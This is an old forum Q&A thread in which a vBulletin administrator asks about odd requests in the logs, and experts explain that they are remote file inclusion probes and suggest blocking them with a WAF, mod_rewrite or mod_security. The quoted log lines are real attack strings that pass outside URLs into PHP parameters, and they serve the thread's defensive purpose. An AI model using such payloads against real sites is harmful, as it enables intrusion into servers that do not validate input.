Question

vbulletin security/wierd url request!

Asked by: uk1900

hi experts,

for a while my forum become  slower every time I get these types of urls
normally they should request a topic number  example:  (vb/showthread.php?t=987)
but instead they request (vb/showthread.php?t=ANOTHER_WEIRD_URL) as it shown in the code option.

my question: does this affect my forum? how can I stop them.

thx


vb/showthread.php?t=http://halloween.fizwig.com/index.htm?
/vb/showthread.php?t=http://schoolpapers.hostinginfive.com/bike.htm?
/vb/showthread.php?t=http://schoolpapers.hostinginfive.com/bike.htm?
/vb/showthread.php?t=http://mattd.myhood.se/bike.htm?
/vb/showthread.php?goto=http://schoolpapers.hostinginfive.com/bike.htm?
/vb/showthread.php?t=3279//modules/xfsection/modify.php?dir_module=http://www.ymti.org/de/xoops_lib/modules/protector/language/japanese/copyright.txt?????
/vb/showthread.php?t=http://bikelove.hostinginfive.com/bike.htm

                                  
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Asked On
2009-02-26 at 11:31:51ID24181340
Tags

vbulletin apache mysql

Topic

Apache Web Server

Participating Experts
2
Points
500
Comments
4

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Answers

 

by: ahoffmannPosted on 2009-02-27 at 00:15:29ID: 23753626

> .. how can I stop them.
i.g. you cannot
well, you can use a web application firewall to reject/drop such request

> .. does this affect my forum?
if your php scripts use this parameter unvalidated, then it could affect your forum, your data and/or even your whole system

 

by: uk1900Posted on 2009-02-27 at 04:52:14ID: 23755125

thx ahoffmann


How can I reject/drop a request?

 

by: ahoffmannPosted on 2009-02-27 at 06:14:31ID: 23755738

> How can I reject/drop a request?
you either need a WAF (web application firewall), some IPS can do it also, or apache's mod_rewrite

 

by: bogesmanPosted on 2009-02-28 at 06:26:25ID: 23763806

They are trying to see if your application is not validating input and if you have url fopen enabled in php whey will gain access to you system.
Best solutuon to block those exploit attempts is to use apache mod-security. Mod security will successfully block these with the right settings. It's even possible to detect them by user agent which if not masked is libwww, which is perl's web agent. Their scripts doing this are usually perl written.

20120131-EE-VQP-002

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